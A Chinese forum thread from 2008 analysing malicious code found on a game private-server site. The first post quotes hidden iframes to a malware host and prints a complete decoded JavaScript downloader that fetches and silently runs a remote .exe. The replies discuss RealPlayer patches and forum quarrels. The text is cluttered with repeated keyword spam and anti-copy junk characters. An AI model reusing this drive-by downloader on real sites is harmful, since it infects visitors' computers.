16 12
发新话题
打印

[讨论] cg23分析

cg23分析

Host: www.cg23.cn
4 ^- {1 D9 d& T# M魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表Content-Location: http://www.cg23.cn/Index.htm
' Z" ~5 ~+ ]  z3 E1 n' x% dbbs.mocwww.com--src
4 K/ l. @* y. ~. |* o7 ]$ s魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表
+ [3 q, A2 L; ]6 J" p魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表<script language="JavaScript" type="text/JavaScript" src="http://news.baidu.com/ns?word=title%3A%C4%A7%C1%A6%B1%A6%B1%B4&tn=newsfcu&from=news&cl=2&rn=25&ct=0"></script>
' D5 n7 ]2 u9 u3 w4 kbbs.mocwww.com--百度新闻-魔力宝贝
& H. [# ^( p' R6 s/ w, X# Rbbs.mocwww.com
* w: ?. ^8 u; ?) O4 a+ I  g! ?妖城在线论坛http://wpa.qq.com/pa?p=1:******************魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表3 Y3 F0 S4 B" s  N' x
10数个魔力技术顾问的QQ链接
5 {* G4 L/ s) y7 y( a$ H, l$ Y* i  r魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表
+ T7 J* q6 Q! \) ?: h魔力私服,最新魔力宝贝私服技术交流<script src="javascript/jf.js" type="text/javascript"></script>8 c; p4 b9 K  _0 p& O! R' f
//模仿语言包式的简繁转换功能插件!
. F6 W" E, f1 Y, B$ Z( ]魔力私服,最新魔力宝贝私服技术交流
9 c* }  a+ D- {+ e  N& \! h8 b<script language="javascript" type="text/javascript" src="http://js.users.51.la/1326170.js"></script>bbs.mocwww.com9 \% n/ b  h0 S7 A  s
51.la流量统计魔力私服,最新魔力宝贝私服技术交流) y' X: j) T% B, F7 G
. k" e3 u* [0 I' D# `- L
<script src='http://s71.cnzz.com/stat.php?id=722391&web_id=722391&online=2' language='JavaScript' charset='gb2312'></script>
, _$ h9 }8 ^4 \bbs.mocwww.comcnzz流量统计
) x. y" P) _( F* F魔力私服,最新魔力宝贝私服技术交流+ N$ u: ]7 F$ N
<script language="javascript" src="http://count36.51yes.com/click.aspx?id=361527223&logo=12"></script>bbs.mocwww.com7 s6 y9 @$ m" A- S
51YES网站统计
4 u7 v% y3 A$ t% j- X% g妖城在线论坛—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート& @3 h, M8 T3 n' [
<iframe src=http://1.100190.com/1.htm?6 width=50 height=0></iframe></a>
9 r9 P; G" U) o4 s妖城在线论坛下面是1.htm的内容. ~$ o6 x  \; W$ y0 ]4 Q( a
[<iframe src=http://1.100190.com/d/d.htm width=100 height=100></iframe>
$ S% e6 B* [; E2 G* h8 h妖城在线论坛<iframe src=http://1.100190.com/d/06014.htm width=100 height=100></iframe>bbs.mocwww.com/ L( L5 j' h  Z& i
<iframe src=http://1.100190.com/d/real.htm width=100 height=100></iframe>
bbs.mocwww.com' q$ |/ z# X5 R7 D& f8 v8 D
这里是重点了
. B* v# c1 Q1 _& g% k2 T% a6 d—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート<script language="javascript" type="text/javascript" src="http://js.users.51.la/1586580.js"></script>% `, ^3 x2 H* `' C+ m
51.la流量统计6 P3 I: ^; y, L# ~# j7 ]1 `7 d- [( X
]—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート$ x( H. P7 Q$ K
闲来无事,给大家分析一下吧
4 {& r% e% a3 k( u  V妖城在线论坛06014.htm        看名字好像是蛮老的那个溢出洞洞魔力私服,最新魔力宝贝私服技术交流" P4 v5 Y7 |$ p4 l4 F
解码后, V5 l: V% o1 k4 Z) W; y1 b
<script>var fuck,cike;fuck="http://1.111281.com/down.exe";cike="cike.com";try{var ado=(document.createElement("object"));var d=1;ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var e=1;var xml=ado.CreateObject("Microsoft.XMLHTTP","");var f=1;var ln="Ado";var lzn="db.St";var an="ream";var g=1;var as=ado.createobject(ln+lzn+an,"");var h=1;xml.Open("GET",fuck,0);xml.Send();as.type=1;var n=1;as.open();as.write(xml.responseBody);as.savetofile(cike,2);as.close();var shell=ado.createobject("Shell.Application","");shell.Shellexecute(cike,"","","open",0);}catch(e){};</script>( X2 A2 J2 b1 B3 p
貌似是个下载者饿,打包了,大家没事研究研究 我就跳过了……—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート! U" c  P4 o3 V9 |3 P

, x. @+ K# f9 R; P# T% V9 F魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表d.htm        解码之
* M" ]4 O  r% [3 X. N7 _妖城在线论坛<iframe style=display:none src="http://1.100190.com/d/bf.htm"></iframe>
# J, p: Y: ~' m0 Y魔力私服,最新魔力宝贝私服技术交流呜呜,我们继续
2 b7 n; W8 T! `4 Q. Q. o& Q—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート空文件,可能是后备用的吧
4 P/ I2 V0 w' ?: A( N6 Wbbs.mocwww.com
8 d* e: L$ |) i: M; F/ ^' ]" Zreal.htm        看名字可能根播放器的oday有关
  s$ z, H% Y# t# g  U# u解码之——
. X2 l2 K, z) `- h' L$ Mfunction RealExploit(){afdsffffasdf="flsdajflasdjfl32rewr231ffas";var ……魔力私服,最新魔力宝贝私服技术交流7 A. i( ?1 B+ ^$ ?7 f1 {# ~
恩,查资料得知为机器狗病毒,不过不玩这个 不大懂
: ]$ r1 Q: o+ B. k9 T" [) T" d妖城在线论坛好了,确定是网马,至于效果如何,反正我没中招……
魔力私服,最新魔力宝贝私服技术交流  G  g" F0 h, ]# J& f
9 U% e' M6 p6 Y
就酱子吧,很多防护不好的网站都会被人挂马,希望cde尽快处理,我对其人没有任何恶意的,大家不要有事没事就对他妄加否定,! r" ^! \" L8 M6 b' G
想想 人家辛辛苦苦为了什么那?开那么多群,没说过收费什么的吧? 有知道的东西就共享出来 也没见藏着掖着吧? 1 n% F/ w' a/ q4 Q  U
紫薇剑是谁我不晓得,/ d- z! a& o% y# \0 k
但是cg23的ange我还是打过交道的……

+ E5 d! b; A2 }# N; d/ B. C+ Z3 i—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート1 P( @! W7 a) y& V% n$ y8 ~
<param name="URL" value="http://www.jdzblog.com/uploadfiles/2007-3/327162852.mp3">
: _+ K5 }8 t+ [1 |魔力私服,最新魔力宝贝私服技术交流最后给大家附个音乐 深吸一口气,放松一下,没什么大不了的……
妖城在线论坛/ _) l# o+ }% c/ j& G* q
魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表" F; m; O' \9 o1 f
[ 本帖最后由 myzz01 于 2008-2-4 21:53 编辑 ]

TOP

那个是内嵌的JS调用溢出马.很老的一种了..
& G  x7 `  J6 _' {bbs.mocwww.comLS的兄弟我劝你..魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表3 h% d6 W. {: u2 W+ c/ o& M
搞CG,不知道紫薇剑,就和中国人不知道毛泽东一样.—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート& {4 |# m7 v9 E& o) j! ]& r
你没资格说内些话..
你的名气很大,并不代表着你很强大。

TOP

—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート9 @( g: G) c7 ~, e6 i- c, F
开那么多群.从来没说过话.—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート/ w& q6 ~( K0 |5 O4 g# ~6 A% ?
和某XXOO反挂不一样?魔力私服,最新魔力宝贝私服技术交流% I# j4 m/ q; Q% L* L% C1 H6 L
技术群一大堆.问问题没见回.魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表1 [6 n# ^- N* x4 G3 W
一买他东西积极的很.
# X" Y& l+ |0 j, J) K—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート
+ P3 ?8 Q- y3 F bbs.mocwww.com4 G& {5 ]0 }) b
他现在扔出来的东西都是别人淘汰的.魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表1 _% b, F2 R! m* b* C$ _1 s) D, L
也不知道谁抱着一套所谓的反挂,还当宝咧..
你的名气很大,并不代表着你很强大。

TOP

这样啊··

TOP

那个  资格不晓得要怎么赚取 …… :-)  是不是当中国人只要知道毛泽东就具备中国人的血统了?估计某些知道老毛的小日本要雀跃了……—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート$ T) \3 q. ]5 Y/ N  z
血统是与生俱来的,根毛泽东关系不大,我的资格 仿佛也根我知道不知道紫薇剑关系不大吧?& E; U- A, l4 v1 |0 ~) m
我喜欢根海星兄 妖哥 小男这样说话爽快的人交流,至于不从技术方面讨论问题 而专门搞人事鉴定的……  不是很感冒……# z' u# ?% h$ y- ^
(*^__^*)   随便说说拉 ange真的打了很久叫道的 从我开始研究魔力(快1个月了) 没事都会在QQ上交流下的 ——感觉人有点迷糊 但是没有什么坏心眼吧?魔力私服,最新魔力宝贝私服技术交流* v- l8 J7 i, O9 i7 \2 ?
至于FGMAX :) 我可是加你QQ拜师的哦 可惜你不回复…… 唉  要不现在收下我吧?

TOP

我,大家都知道,对话不对人。—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート  e2 |; l- y+ b9 C; _
要是惹着你了就当别在意。魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表  s5 B# P( V. B& i6 O: {; a; u

/ }9 q$ g  U0 Z: b4 d1 j* t5 L; Ibbs.mocwww.com加我人太多,每天问问题人也太多。
* Y  h, M) B9 `* g5 S1 y魔力私服,最新魔力宝贝私服技术交流不能一一照料。
4 S6 J8 s; B9 w, Z" B) x魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート8 e; e; R7 C! M/ u3 e/ U0 j: M
我就收了一个徒弟,晨曦。—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート5 }) u- o  g# g$ g  J5 n" ?

* n1 f* |& N0 @) r; ^& _4 S- |* \; f—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート以后有需要就说,知道肯定告你。
你的名气很大,并不代表着你很强大。

TOP

引用:
原帖由 FGMAX 于 2008-2-4 22:08 发表 " o* i  M' f0 q+ H
我,大家都知道,对话不对人。
) d1 ?. g% _. m. I6 W要是惹着你了就当别在意。
8 b( M$ H, f: c& O
5 B) z7 P: t( \8 m% o# l魔力私服,最新魔力宝贝私服技术交流加我人太多,每天问问题人也太多。妖城在线论坛2 e8 m5 F& q# t0 }+ N/ p
不能一一照料。魔力私服,最新魔力宝贝私服技术交流: l/ O* o! z% v- w2 \3 Q

! u4 I) M, ~$ M0 C: `我就收了一个徒弟,晨曦。—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート  V- [, I( U3 F
- a4 \& w- q# ], m; c- t
以后有需要就说,知道肯定告你。
魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表  Z, _0 U/ p) K# u

, I, ?1 C% _& obbs.mocwww.com
! u+ O# R# _4 E, H妖城在线论坛:)  交个朋友 一起交流饿 …… 我去想办法看懂魔力封包处理部分的代码去…… 想学的东西太多 时间太少 一动就该睡觉了……郁闷 HOHO  晚上见……

TOP

回家前 上来看看3 o5 L% A" ^/ F/ l: D% H6 r

TOP

RealPlayer 的溢出漏洞,打完RealPlayer溢出补丁的不会中.

TOP

RealPlayer 不装呢- -

TOP

CG23就是白吃,乱吧人的QQ放在他网页上当什么顾问  我日

TOP

引用:
原帖由 ?k|尛水 于 2008-2-4 22:53 发表
# J" W7 H. F5 x3 }) R8 X9 j/ ?3 K—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲートRealPlayer 不装呢- -
0 k) T% V* k" a' k6 O  c' M9 Abbs.mocwww.com不装当然就中不了real的0day了,不过其他溢出漏洞不胜枚举,而且就算不中马,被挂马的站访问起来也会很慢…… 经常访问很容易体会出区别…… 中木马也一样 你要经常使用电脑就会有手感的 当机器中木马病毒什么的 你就会感觉不顺手了……

TOP

呵呵...real我就没装过~~呵呵..

2007年10月6日至今已过去十三个春夏秋冬,感谢妖友的一路陪伴!
2020年6月12日 By.xuyaoxy

TOP

我问问无双,是被人挂了还是自己搞的……。它那站流量也没多少,应该不至于坏自己的名声做这种事。魔力私服,最新魔力宝贝私服技术交流* a3 u, \' F( X* G' X
—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート- x, E1 m7 |9 Q5 d! A
现在有马是事实了
妖城欢迎您!

TOP

没说过收费?那他的高级群谁出的QB,你也不想想

TOP

 16 12
发新话题